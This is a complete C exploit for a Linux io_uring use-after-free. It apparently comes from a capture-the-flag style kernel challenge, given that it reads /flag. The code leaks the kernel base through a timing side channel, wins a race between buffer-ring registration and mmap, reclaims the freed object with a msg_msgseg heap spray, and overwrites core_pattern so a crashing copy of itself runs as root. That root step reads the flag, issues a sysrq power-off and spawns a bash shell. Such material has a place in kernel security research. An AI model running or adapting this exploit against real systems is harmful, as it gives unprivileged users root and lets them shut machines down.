#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <string.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/msg.h>
#include <sys/epoll.h>
#include <sys/timerfd.h>
#include <sys/sendfile.h>
#include <linux/io_uring.h>
#define ARRAY_LEN(x) (sizeof(x) / sizeof(x[0]))
#define PAGE_SIZE 0x1000

#define IORING_SETUP_NO_MMAP (1U << 14)
#define IOU_PBUF_RING_MMAP 1
#define IORING_OFF_PBUF_RING 0x80000000ULL
#define IORING_OFF_PBUF_SHIFT 16
#define IORING_SETUP_NO_SQARRAY (1U << 16)
#define SPRAY_CG_64_MSG_MSGSEG 512
#define DRAIN_CG_64_MSG_MSGSEG 256

#define DEFAULT_TIMEOUT_CPU0 (850  + 150)
#define MAX_TIMEOUT_CPU0     (1700 + 150)
#define SHIFT_TIMEOUT_CPU0   10

#define DEFAULT_TIMEOUT_CPU1 (1000 + 150)
#define MAX_TIMEOUT_CPU1     (2000 + 150)
#define SHIFT_TIMEOUT_CPU1   10

#define CORE_PATTERN_OFFSET 0x2db65c0

struct io_uring {
    unsigned int head;
    unsigned int tail;
};

struct io_rings {
    struct io_uring sq, cq;
    unsigned int sq_ring_mask, cq_ring_mask;
    unsigned int sq_ring_entries, cq_ring_entries;
    unsigned int sq_dropped;
    int sq_flags;
    unsigned int cq_flags;
    unsigned int cq_overflow;
};

struct io_buffer_list {
    union {
        struct {
            unsigned long list_head_prev;
            unsigned long list_head_next;
        } buf_list;
        
        struct {
            unsigned long buf_pages;
            unsigned long buf_ring;
        };
        
        struct {
            unsigned long rcu_head_next;
            unsigned long rcu_head_head;
        } rcu;
    };
    unsigned short bgid;
    unsigned short buf_nr_pages;
    unsigned short nr_entries;
    unsigned short head;
    unsigned short mask;

    int refs;

    unsigned char is_mapped;
    unsigned char is_mmap;
};

struct msg_msg {
    unsigned long m_list_next;
    unsigned long m_list_prev;
    unsigned long m_type;
    unsigned long m_ts;
    unsigned long next;
    unsigned long security;
};

struct msg_msgseg {
    unsigned long next;
};

#define SYSCHK(x) ({              \
    typeof(x) __res = (x);        \
    if (__res == (typeof(x))-1L)  \
      err(1, "SYSCHK(" #x ")");   \
    __res;                        \
  })

static int io_uring_setup(unsigned int entries, struct io_uring_params *p)
{
    return syscall(SYS_io_uring_setup, entries, p);
}

static int io_uring_register(int fd, int opcode, void *arg, unsigned int nr_args)
{
    return syscall(SYS_io_uring_register, fd, opcode, arg, nr_args);
}

static int io_uring_enter(unsigned int fd, unsigned int to_submit,
                          unsigned int min_complete, unsigned int flags,
                          sigset_t *sig)
{
    return syscall(SYS_io_uring_enter, fd, to_submit, min_complete, flags, sig);
}

void pin_on_cpu(int i)
{
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

inline __attribute__((always_inline)) unsigned long rdtsc_begin()
{
    unsigned long a, d;
    asm volatile (
        "mfence\n\t"
        "RDTSCP\n\t"
        "mov %%rdx, %0\n\t"
        "mov %%rax, %1\n\t"
        "xor %%rax, %%rax\n\t"
        "lfence\n\t"
        : "=r" (d), "=r" (a)
        :
        : "%rax", "%rbx", "%rcx", "%rdx");
    a = (d<<32) | a;
    return a;
}

inline __attribute__((always_inline)) unsigned long rdtsc_end()
{
    unsigned long a, d;
    asm volatile(
        "xor %%rax, %%rax\n\t"
        "lfence\n\t"
        "RDTSCP\n\t"
        "mov %%rdx, %0\n\t"
        "mov %%rax, %1\n\t"
        "mfence\n\t"
        : "=r" (d), "=r" (a)
        :
        : "%rax", "%rbx", "%rcx", "%rdx");
    a = (d<<32) | a;
    return a;
}

inline __attribute__((always_inline)) void prefetch(void *p)
{
    asm volatile (
        "prefetchnta (%0)\n"
        "prefetcht2 (%0)\n"
        : : "r" (p));
}

unsigned long flushandreload(void *addr)
{
    unsigned long time = rdtsc_begin();
    prefetch(addr);
    unsigned long delta = rdtsc_end() - time;
    return delta;
}

unsigned long leak_kaslr(unsigned long base)
{
    if (!base) {
      #ifdef KASLR_BYPASS_INTEL
        #define OFFSET 0
        #define START (0xffffffff81000000ull + OFFSET)
        #define END   (0xffffffffD0000000ull + OFFSET)
        #define STEP   0x0000000001000000ull
        while (1) {
            unsigned long bases[7] = {0};
            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                unsigned long times[(END - START) / STEP] = {};
                unsigned long addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (unsigned long)ti;
                }

                for (int i = 0; i < 16; i++) {
                    for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                        unsigned long addr = addrs[ti];
                        unsigned long t = flushandreload((void*)addr);
                        if (t < times[ti]) {
                            times[ti] = t;
                        }
                    }
                }

                unsigned long minv = ~0;
                unsigned long mini = -1;
                for (int ti = 0; ti < ARRAY_LEN(times) - 1; ti++) {
                    if (times[ti] < minv) {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0) {
                    return -1;
                }

                bases[vote] = addrs[mini];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
                if (c == 0) {
                    base = bases[i];
                } else if (base == bases[i]) {
                    c++;
                } else {
                    c--;
                }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
                if (base == bases[i]) {
                    c++;
                }
            }
            if (c > ARRAY_LEN(bases) / 2) {
                base -= OFFSET;
                goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %lx with %d votes\n", base, c);
        }
      #else
        #define START (0xffffffff81000000ull)
        #define END (0xffffffffc0000000ull)
        #define STEP 0x0000000000200000ull
        #define NUM_TRIALS 7
        // largest contiguous mapped area at the beginning of _stext
        #define WINDOW_SIZE 11

        while (1) {
            unsigned long bases[NUM_TRIALS] = {0};

            for (int vote = 0; vote < ARRAY_LEN(bases); vote ++) {
                unsigned long times[(END - START) / STEP] = {};
                unsigned long addrs[(END - START) / STEP];

                for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (unsigned long)ti;
                }

                for (int i = 0; i < 16; i++) {
                    for (int ti = 0; ti < ARRAY_LEN(times); ti++) {
                        unsigned long addr = addrs[ti];
                        unsigned long t = flushandreload((void*)addr);
                        if (t < times[ti]) {
                            times[ti] = t;
                        }
                    }
                }

                unsigned long max = 0;
                int max_i = 0;
                for (int ti = 0; ti < ARRAY_LEN(times) - WINDOW_SIZE; ti++) {
                    unsigned long sum = 0;
                    for (int i = 0; i < WINDOW_SIZE; i++) {
                        sum += times[ti + i];
                    }
                    if (sum > max) {
                        max = sum;
                        max_i = ti;
                    }
                }

                bases[vote] = addrs[max_i];
            }

            int c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
                if (c == 0) {
                    base = bases[i];
                } else if (base == bases[i]) {
                    c++;
                } else {
                    c--;
                }
            }

            c = 0;
            for (int i = 0; i < ARRAY_LEN(bases); i++) {
                if (base == bases[i]) {
                    c++;
                }
            }
            if (c > ARRAY_LEN(bases) / 2) {
                goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %lx with %d votes\n", base, c);
        }
      #endif
    }

got_base:
    return base;
}

int spray_cg_64_msg_queue[SPRAY_CG_64_MSG_MSGSEG];
int drain_cg_64_msg_queue[DRAIN_CG_64_MSG_MSGSEG];
int ioring_fd;
unsigned long timeout_upgrade_thread_cpu0 = DEFAULT_TIMEOUT_CPU0;
unsigned long timeout_mmap_thread_cpu1 = DEFAULT_TIMEOUT_CPU1;
int tfd_for_upgrade_cpu0;
int tfd_for_mmap_cpu1;
pthread_barrier_t barrier;

static void epoll_ctl_add(int epfd, int fd, uint32_t events)
{
    struct epoll_event ev;
    ev.events = events;
    ev.data.fd = fd;
    epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev);
}

#define TIMERFD_COUNT 0x100
#define EPOLL_FD_COUNT 0xc0
void do_epoll_enqueue(int fd, int fork_count)
{
    int cfd[2];
    char buf[0x10];
   
    socketpair(AF_UNIX, SOCK_STREAM, 0, cfd);
    for (int k = 0; k < fork_count; k++) {
        if (fork() == 0) {
            int timefds[TIMERFD_COUNT];
            int epfds[EPOLL_FD_COUNT];

            for (int i = 0; i < TIMERFD_COUNT; i++)
                timefds[i] = dup(fd);

            for (int i = 0; i < EPOLL_FD_COUNT; i++)
                epfds[i] = epoll_create(0x1);
            
            for (int i = 0; i < EPOLL_FD_COUNT; i++)
                for (int j = 0; j < TIMERFD_COUNT; j++)
                epoll_ctl_add(epfds[i], timefds[j], 0);
            
            write(cfd[1], buf, 1);
            raise(SIGSTOP);
       }
       read(cfd[0], buf, 1);
    }
    close(cfd[0]);
    close(cfd[1]);
}

void *race_mmap_thread(void *arg)
{
    // ==================== mmap thread (cpu-1) ====================
    pin_on_cpu(1);
    while (1) {
        struct itimerspec new = { .it_value.tv_nsec = timeout_mmap_thread_cpu1 };
        void *ptr;
        
        pthread_barrier_wait(&barrier);
        {
            timerfd_settime(tfd_for_mmap_cpu1, TFD_TIMER_CANCEL_ON_SET, &new, NULL);
            
            // Try to map the 0x69 io_buffer_list.
            ptr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ioring_fd, IORING_OFF_PBUF_RING + (0x69 << IORING_OFF_PBUF_SHIFT));
            if (ptr != MAP_FAILED) {
                munmap(ptr, 0x1000);
            }
        }
        pthread_barrier_wait(&barrier);
    }
}

void setup_core_pattern_monitor()
{
    pin_on_cpu(1);
    setsid();

    int memfd = memfd_create("", 0);
    char buf[0x100] = {};

    // Duplicate the exploit binary to memfd 666.
    sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff);
    dup2(memfd, 666);
    close(memfd);

    // Poll the core_pattern content and trigger segfault if it is modified.
    while (1) {
        int corefd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
        read(corefd, buf, sizeof(buf));
        close(corefd);
        if (strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0)
            break;
        sleep(1);
    }
    *(unsigned long *)0 = 0;
}

int main(int argc, char *argv[])
{
    int ret;
    void *cq;
    void *sq;
    void *dummy;
    void *pbuf;
    void *payload;
    unsigned long ktext;

    alarm(1800);

    /**
     * When the exploit succeeds, the core_pattern monitor will trigger a segfault
     * and execute the memfile as root, passing the PID as an argument.
     */
    if (argc > 1) {
        int pid = strtoull(argv[1], 0, 10);
        int pfd = syscall(SYS_pidfd_open, pid, 0);
        int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
        dup2(stdoutfd, 1);
        
        system("cat /flag;echo o>/proc/sysrq-trigger");
        execlp("bash", "bash", NULL);
    }

    /**
     * Create a child process to monitor core_pattern. If the core_pattern is
     * overwritten due to the vulnerability, it immediately triggers a segfault.
     */
    if (fork() == 0) {
        setup_core_pattern_monitor();
    }

    ktext = leak_kaslr(0);
    printf("[+] ktext: 0x%016lx\n", ktext);

    cq = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_POPULATE | MAP_ANON | MAP_PRIVATE, -1, 0);
    sq = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_POPULATE | MAP_ANON | MAP_PRIVATE, -1, 0);
    payload = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_POPULATE | MAP_ANON | MAP_PRIVATE, -1, 0);
    dummy = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_POPULATE | MAP_ANON | MAP_PRIVATE, -1, 0);

    // Create msg queues for draining kmalloc-cg-64.
    for (int i = 0; i < DRAIN_CG_64_MSG_MSGSEG; i++) {
        SYSCHK(drain_cg_64_msg_queue[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
    }

    // Create msg queues for spraying kmalloc-cg-64.
    for (int i = 0; i < SPRAY_CG_64_MSG_MSGSEG; i++) {
        SYSCHK(spray_cg_64_msg_queue[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
    }

    /** 
     * We plan to reclaim the victim io_buffer_list with msg_msgseg, so we craft the payload to
     * a fake io_buffer_list with the address of core_pattern as ring buffer pointer.
     */
    {
        struct io_buffer_list *fake_io_bl = payload + (PAGE_SIZE - sizeof(struct msg_msg));
        fake_io_bl->buf_ring = ktext + (CORE_PATTERN_OFFSET & ~0xfff);
        fake_io_bl->refs = 0x41;
        fake_io_bl->is_mmap = 1;
    }
    
    // Create an io_uring context with two entries.
    struct io_uring_params p = {};
    p.flags |= IORING_SETUP_NO_MMAP;
    p.flags |= IORING_SETUP_NO_SQARRAY;
    p.cq_off.user_addr = (unsigned long)cq;
    p.sq_off.user_addr = (unsigned long)sq;
    SYSCHK(ioring_fd = io_uring_setup(2, &p));

    /**
     * To trigger the vulnerability, we first need to create an empty legacy selected buffer.
     * This can be achieved using the following two IO_URING opcodes:
     *   1. IORING_OP_PROVIDE_BUFFERS: create a legacy selected buffer which has one buffer.
     *   2. IORING_OP_REMOVE_BUFFERS: remove a buffer from specified legacy selected buffer.
     */
    {
        struct io_uring_sqe *sqe = sq;

        sqe[0].opcode = IORING_OP_PROVIDE_BUFFERS;
        sqe[0].addr = (unsigned long)dummy;
        sqe[0].len = 1;
        sqe[0].fd = 1; // nbufs
        sqe[0].buf_group = 0x69;
        sqe[0].off = 0;
        
        sqe[1].opcode = IORING_OP_REMOVE_BUFFERS;
        sqe[1].fd = 1; // nbufs
        sqe[1].buf_group = 0x69;
    }
    
    // Initialize metadata of the opcode ring buffer.
    struct io_rings *ring = cq;
    ring->sq.head = 0;
    ring->sq.tail = 2;

    /**
     * To race the small time window, we set up two timerfds: one for the mmap thread
     * and one for the upgrade thread (main thread).
     */
    tfd_for_upgrade_cpu0 = timerfd_create(CLOCK_MONOTONIC, 0);
    do_epoll_enqueue(tfd_for_upgrade_cpu0, 1);

    tfd_for_mmap_cpu1 = timerfd_create(CLOCK_MONOTONIC, 0);
    do_epoll_enqueue(tfd_for_mmap_cpu1, 1);

    // The barrier is used to control the execution order of two threads.
    pthread_t race_mmap_thread_tid;
    pthread_barrier_init(&barrier, NULL, 2);
    pthread_create(&race_mmap_thread_tid, NULL, race_mmap_thread, NULL);
    
    
    // ==================== upgrade thread (cpu-0) ====================
    int try_count = 0;
    pin_on_cpu(0);
    while (1) {
        if (try_count++ % 500 == 0)
            printf("now: %d\n", try_count);
        /**
         * Depending on the host and our luck, the required timeout may vary.
         * The simplest method is to brute-force all possible timeout values.
         */
        timeout_upgrade_thread_cpu0 += SHIFT_TIMEOUT_CPU0;
        if (timeout_upgrade_thread_cpu0 >= MAX_TIMEOUT_CPU0) {
            timeout_upgrade_thread_cpu0 = DEFAULT_TIMEOUT_CPU0;
            
            timeout_mmap_thread_cpu1 += SHIFT_TIMEOUT_CPU1;
            if (timeout_mmap_thread_cpu1 >= MAX_TIMEOUT_CPU1)
                timeout_mmap_thread_cpu1 = DEFAULT_TIMEOUT_CPU1;
        }

        // Drain kmalloc-cg-64 by spraying msg_msgseg.
        *(unsigned long *)payload = 1; // mtype = 1
        for (int i = 0; i < DRAIN_CG_64_MSG_MSGSEG; i++)
            msgsnd(drain_cg_64_msg_queue[i], payload, (PAGE_SIZE - sizeof(struct msg_msg)) + 64 - sizeof(struct msg_msgseg), 0);
        
        // Create an empty legacy selected buffer with id 0x69.
        SYSCHK(io_uring_enter(ioring_fd, 2, 0, 0, NULL));
        
        struct itimerspec new = { .it_value.tv_nsec = timeout_upgrade_thread_cpu0 };
        pthread_barrier_wait(&barrier);
        {
            timerfd_settime(tfd_for_upgrade_cpu0, TFD_TIMER_CANCEL_ON_SET, &new, NULL);
            
            // Upgrade 0x69 pbuf from a empty legacy selected buffer to a ring buffer.
            struct io_uring_buf_reg reg = {};
            reg.flags |= IOU_PBUF_RING_MMAP;
            reg.ring_entries = 1;
            reg.bgid = 0x69;

            SYSCHK(io_uring_register(ioring_fd, IORING_REGISTER_PBUF_RING, &reg, 1));
        }
        pthread_barrier_wait(&barrier);
        
        /**
         * If the exploit succeeds, the refcount of the 0x69 pbuf will be zero,
         * causing mmap to fail.
         *
         * Otherwise, mmap will succeed and return a valid pointer.
         */
        pbuf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ioring_fd, IORING_OFF_PBUF_RING + (0x69 << IORING_OFF_PBUF_SHIFT));
        if (pbuf == MAP_FAILED) {
            printf("[+] success!\n");
            break;
        }

        /**
         * Before retrying, we need to restore the environment:
         *   1. Unmap the memory region used to check if the exploitation was successful.
         *   2. Unregister the 0x69 pbuf.
         *   3. Release the drained msg_msgsegs.
         */

        SYSCHK(munmap(pbuf, 0x1000));

        struct io_uring_buf_reg reg = {};
        reg.bgid = 0x69;
        SYSCHK(io_uring_register(ioring_fd, IORING_UNREGISTER_PBUF_RING, &reg, 1));

        for (int i = 0; i < DRAIN_CG_64_MSG_MSGSEG; i++) {
            msgrcv(drain_cg_64_msg_queue[i], dummy, (PAGE_SIZE - sizeof(struct msg_msg)) + 64 - sizeof(struct msg_msgseg), 1, 0);
        }

        // Finally, we update head index and tail index of the opcode ring buffer.
        ring->sq.head += 2;
        ring->sq.tail += 2;
    }

    /**
     * Since pbuf (io_buffer_list) is freed using kfree_rcu(), we need to wait
     * five more seconds (KFREE_DRAIN_JIFFIES) for the kfree_rcu_monitor() worker to wake up.
     */
    sleep(6);

    // Spray msg_msgseg to reclaim freed io_buffer_list which is in kmalloc-cg-64.
    *(unsigned long *)payload = 1; // mtype = 1
    for (int i = 0; i < SPRAY_CG_64_MSG_MSGSEG; i++)
        msgsnd(spray_cg_64_msg_queue[i], payload, (PAGE_SIZE - sizeof(struct msg_msg)) + 64 - sizeof(struct msg_msgseg), 0);
    
    /**
     * Since we hijack the corrupted io_buffer_list to point to core_pattern,
     * we can mmap the 0x69 pbuf and overwrite the core_pattern content.
     */
    pbuf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, ioring_fd, IORING_OFF_PBUF_RING + (0x69 << IORING_OFF_PBUF_SHIFT));
    strcpy(pbuf + (CORE_PATTERN_OFFSET & 0xfff), "|/proc/%P/fd/666 %P");

    // Just sleep and wait core_pattern monitor for doing the rest exploitation.
    sleep(-1);
    return 0;
}

